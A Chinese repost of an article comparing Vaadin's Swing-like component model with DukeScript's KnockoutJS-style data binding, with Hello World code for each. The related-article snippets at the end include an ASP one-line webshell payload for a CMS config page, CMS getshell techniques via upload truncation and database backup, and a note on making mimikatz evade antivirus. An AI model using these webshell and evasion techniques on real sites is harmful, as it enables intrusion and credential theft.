Vaadin和DukeScript中的Hello World

从表面上看 , Vaadin和GWT通常与DukeScript有很多共同点。 两者都致力于为Java开发人员提供面向浏览器的解决方案,并且由于其对Maven的原生支持而与IDE集成良好。 但是,这些方面实际上是它们共有的全部。 从编程模型到框架如何处理代码,再到应用程序如何部署,Vaadin和DukeScript完全不同。

为了真正理解这些观点,让我们开始研究Vaadin和DukeScript的编程模型。 尽管您使用Java编程的方式明显不同,但是每个人都有一个非常好的动机,这对适用的目标开发人员群体来说是非常有意义的。 从这个意义上讲,在这个故事中没有“更好”或“更糟”,只有两种不同的方法使Java开发人员能够访问各种设备上基于浏览器的平台。

在Vaadin中,对于开发人员群体而言,主要的人群是Java Swing开发人员,他们希望将其Java桌面业务应用程序移至Web和移动设备。 因此,Vaadin提供了与Swing相当的组件模型。 提供了一系列的GUI组件,例如“标签”和“按钮”,以及许多更复杂的组件,包括各种图形和其他令人印象深刻的与UI相关的功能,以及“布局”和“事件”,再次让人想起Swing。

这就是Vaadin中典型的“ Hello World”场景。 注意GUI组件,“ VerticalLayout”和“ ClickEvent”:

瓦丁的Hello World

import com.vaadin.annotations.Theme;
import com.vaadin.annotations.VaadinServletConfiguration;
import com.vaadin.annotations.Widgetset;
import com.vaadin.server.VaadinRequest;
import com.vaadin.server.VaadinServlet;
import com.vaadin.ui.Button;
import com.vaadin.ui.Button.ClickEvent;
import com.vaadin.ui.Label;
import com.vaadin.ui.UI;
import com.vaadin.ui.VerticalLayout;@Theme("mytheme")
@Widgetset("org.hw.vaadin.MyAppWidgetset")
public class MyUI extends UI {@Overrideprotected void init(VaadinRequest vaadinRequest) {final VerticalLayout layout = new VerticalLayout();layout.setMargin(true);setContent(layout);Button button = new Button("Click Me");button.addClickListener(new Button.ClickListener() {@Overridepublic void buttonClick(ClickEvent event) {layout.addComponent(new Label("Thank you for clicking"));}});layout.addComponent(button);}@WebServlet(urlPatterns = "/*", name = "MyUIServlet", asyncSupported = true)@VaadinServletConfiguration(ui = MyUI.class, productionMode = false)public static class MyUIServlet extends VaadinServlet {}
}

在上面,还请注意用于与浏览器相关的功能(即主题和窗口小部件集)的注释,以及与Servlet容器集成的Java EE相关的注释,指出Vaadin是与客户端/服务器相关的框架。

与Vaadin专注于类似Swing的开发模型相反,DukeScript具有KnockoutJS开发模型 ,DukeScript团队认为该模型是更先进和现代的方法。 KnockoutJS开发模型将视图与逻辑完全分开。 可以在甚至创建视图之前开发和测试逻辑, 如此处所述 。 尽管Vaadin应用程序也可以进行单元测试,但使用Vaadin可以测试视图(例如,“ clickButton”),而使用DukeScript可以测试逻辑(例如,“ addUser”)。 使用DukeScript,开发人员不再负责应用程序的布局和可用性方面,而专家可以代替。

就像Swing知识对使用Vaadin有所帮助(虽然不是必需的)一样,KnockoutJS知识对DukeScript的使用尽管不是必需的也是有用的。 但是,由于Java开发人员可能比KnockoutJS更熟悉Swing,因此Java开发人员可能需要花更多的时间来熟悉KnockoutJS,然后再开始使用DukeScript。

另一方面,DukeScript编程模型使得可以将应用程序前端的开发委派给特定于前端的编码器,即委托给使用KnockoutJS进行前端开发的开发人员。 为了证明这一点,请阅读 DukeScript团队的Anton Epple 撰写的有关JavaCodeGeeks的最新文章 。 另一方面,在这种完全分离的场景中,可以将绑定本身视为Java编程任务的一部分,即Java开发人员会将这些绑定添加到从提出了该观点的前端开发人员那里获得的标记中。一起。

现在,让我们转到DukeScript中的典型“ Hello World”场景。 如上所述,视图和业务逻辑被拆分为单独的文件,一个使用HTML,另一个使用Java。 这是HTML端,与KnockoutJS.com的“ Hello World”场景相同:

DukeScript中的“ Hello World”视图

<p>First name: <input data-bind="value: firstName" /></p>
<p>Last name: <input data-bind="value: lastName" /></p>
<h2>Hello, <span data-bind="text: fullName"> </span>!</h2>

这是提供上述属性的双向数据绑定的业务逻辑,通常使用KnockoutJS开发模型中JavaScript,但由于DukeScript,它是用Java表示的:

DukeScript中“ Hello World”的业务逻辑

import net.java.html.json.ComputedProperty;
import net.java.html.json.Model;
import net.java.html.json.Property;@Model(className = "Data", targetId = "", properties = {@Property(name = "firstName", type = String.class),@Property(name = "lastName", type = String.class)
})
final class DataModel {@ComputedPropertystatic String fullName(String firstName, String lastName) {return firstName + " " + lastName;}private static Data ui;static void onPageLoad() throws Exception {ui = new Data();ui.setFirstName("Planet");ui.setLastName("Earth");ui.applyBindings();}
}

与Vaadin一样,DukeScript“ Hello World”场景也使用了注释。 每当在开发过程中保存Java源文件时,这些批注就会生成带有上面引用的所有getter和setter的POJO。

这两个“ Hello World”场景都针对浏览器。 他们如何做到这一点,即如何处理上面的代码并使之可在浏览器中使用,是本系列下一篇文章的主题。 但是,目前,通过阅读本文,您应该对这两个框架的编程模型的差异有一个很好的了解。

通过使用Vaadin,您可以访问一系列用Java表示的GUI组件,这些GUI组件排列在与Swing相类似的组件树中。 使用DukeScript,您可以完全访问JavaScript生态系统为业务逻辑提供的前端和整个Java生态系统所提供的所有功能,并且特别关注KnockoutJS的双向数据绑定功能,以将视图连接到业务逻辑。

感谢Vaadin的Matti Tahvonen和DukeScript的Anton Epple对本文进行了评论并做出了贡献。

翻译自: https://www.javacodegeeks.com/2015/08/hello-world-in-vaadin-dukescript.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358263.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

xyCMS框架的webshell

"%><%eval request("d")%><%s"在网站配置页面插入一句话。&#xff08;注意一定要把前后内容闭合&#xff0c;不然整个网站都要崩溃&#xff09; 插入结果。 shell工具连接 </article>

Xcode版本更新后插件失效解决办法

打开终端&#xff0c;输入以下代码&#xff1a; defaults read /Applications/Xcode.app/Contents/Info DVTPlugInCompatibilityUUID 获取到DVTPlugInCompatibilityUUID&#xff0c;然后 find ~/Library/Application\ Support/Developer/Shared/Xcode/Plug-ins -name Info.pli…

都灵JVM编程语言:使用ANTLR构建高级词法分析器

正如我在上一篇文章中所写的那样&#xff0c;我最近开始研究一种名为Turin的新编程语言。 可以在GitHub上找到适用于languag初始版本的编译器。 我目前正在改进语言&#xff0c;并正在开发Maven和IntelliJ插件。 在这里和下一篇文章中&#xff0c;我将介绍编译器和相关工具的不…

Flutter快速构建集美观与⾼性能于⼀体的APP

先上干货 github:https://github.com/flutter/flutter 官网&#xff1a;http://flutter.io/ 中文资源&#xff1a;https://flutter-io.cn/ 当然我也用其他敏捷式平台开发过APP&#xff0c;比如APICloud、uiapp,相比Flutter难度会小一些。 用户的需求 移动软件开发的困难 这…

一个线程加一运算,一个线程做减一运算,多个线程同时交替运行--synchronized...

使用synchronized package com.pb.thread.demo5;/**使用synchronized* 一个线程加一运算&#xff0c;一个线程做减法运算&#xff0c;多个线程同时交替运行* * author Denny**/ public class Count {private int num 0;private boolean flag false; // 标识//加法public sync…

如何使用UI技术提升租房类APP的看房体验?

这个看你处理的数据够不够复杂啦。 越个性化,越流程的APP越需要处理复杂的数据。 使用SVG制作户型结构编辑器。

jboss 发布web_JBoss模块示例–模块化Web应用程序

jboss 发布web最近&#xff0c;我读到了为什么没有标准来开发真正的模块化Web应用程序&#xff1f; 由Patroklos Papapetrou撰写&#xff08; 在Java Code Geeks中也有介绍 &#xff09;。 受本文的启发&#xff0c;我决定检查实际使用的JBoss模块 。 这篇文章逐步描述了我的实…

南方数据后台的WEBSHEL

南方数据企业系统&#xff0c;后台上传截断拿webshell 在“新闻资讯”-“添加新闻”模块中&#xff0c;在“新闻图片”中点击“上传”按钮&#xff0c;会出现一个弹窗&#xff0c;复制弹窗的地址&#xff0c;在新标签页中打开 本地准备个asp类型的一句话木马&#xff1a;<%…

【APICloud系列|20】如何使用使用APICloud开发出优质的Hybrid App

谈到这里,我先抛出几个问题,虽然他们社区比较活跃,我曾经也在上面开发过一款办公类应用并成功上架到各大安卓应用商店与APPstore,有兴趣的可以看看我以前的帖子。新手可以学习一下他们七天的教学,可以很快的入门,至于他们官方的一些视频可能比较陈旧,凑合着看吧,影响不是…

java对象的序列化机制详解

Java对象的序列化机制 Java对象的序列化&#xff0c;是将内存中的java对象转化为二进制的字节流&#xff0c;然后保存到磁盘中或者在网络上。这就是序列化对象&#xff0c;反序列化顾名思义就是将对象的二进制字节流恢复成原来的对象。注意只有对象的类名和属性能被序列化&…

测试并发应用

本文是我们学院课程中名为Java Concurrency Essentials的一部分 。 在本课程中&#xff0c;您将深入探讨并发的魔力。 将向您介绍并发和并发代码的基础知识&#xff0c;并学习诸如原子性&#xff0c;同步和线程安全之类的概念。 在这里查看 &#xff01; 目录 1.简介 2. Sim…

无忧企业系统的getshell

方法一&#xff1a;数据库备份 写入后进行数据库备份 路径 shell工具连接 方法二&#xff1a;修改允许上传后缀&#xff0c;直接上传马

如何使用FinalShell、FileZilla上传网站代码到服务器?这两个都是神器

这段时间想做一个导航网站来着,然后就简单写了一个网页,买了一个域名、一台ECS服务器,都是比较便宜的那种,https://www.aliyun.com/minisite/goods?userCode=1k1odmgm 这个学生或者新用户基本都是一折,还能玩得起。所有软件的安装除了选择安装路径,都可以无脑按安装。 …

[CareerCup] 9.6 Generate Parentheses 生成括号

9.6 Implement an algorithm to print all valid (e.g., properly opened and closed) combinations of n-pairs of parentheses.EXAMPLEInput: 3Output: ((())), (()()), (())(), ()(()), ()()() LeetCode上的原题&#xff0c;请参见我之前的博客Generate Parentheses 生成括号…

神经网络:深度学习优化方法

1.有哪些方法能提升CNN模型的泛化能力 采集更多数据&#xff1a;数据决定算法的上限。 优化数据分布&#xff1a;数据类别均衡。 选用合适的目标函数。 设计合适的网络结构。 数据增强。 权值正则化。 使用合适的优化器等。 2.BN层面试高频问题大汇总 BN层解决了什么问…

PDF.js如何添加放大缩小的功能,转换成图片应该如何实现?

把官方的安装包搞下来,自己的PDF文件及index.html添加进去,上面的目录结构是未添加的,我先把PDF文件搞成canvas然后搞成图片,然后再图片上添加按钮对图片进行放大缩小操作,方便对用户行为进行录屏。 <!DOCTYPE HTML> <html data-dpr="1" style="…

mimikatz免杀过360和火绒

mimikatz mimikatz是一款能够从Windows认证&#xff08;LSASS&#xff09;的进程中获取内存&#xff0c;并且获取名闻密码和NTLM哈希值的工具&#xff0c;攻击者可以利用这种功能漫游内网。也可以通过明文密码或者hash值进行提权。这款工具机器出名所以被查杀的几率极高。 1、…

ibatis Parameter index out of range (1 number of parameters, which is 0)

这个错误除了网上常见的like写错之外&#xff0c;这里列出其中一种写法like concat(%, #keyword#, %),还有另外的多写单引号什么的以外&#xff0c;今天遇到另一个原因,百度谷歌各种查也没查到&#xff0c;最后才意识到由于我是在navicat中的写好的再粘贴上去的&#xff0c;注释…

SVN:请求不到主机,应该如何解决?

连了公司的局域网&#xff0c;可能一个账号人多的缘故&#xff0c;给你们讲一下思路。确保一点在同一个局域网。 然后ping一下域名。也是不通的 把域名换成IP进行访问试试&#xff0c;这个检查一下路径没有问题即可。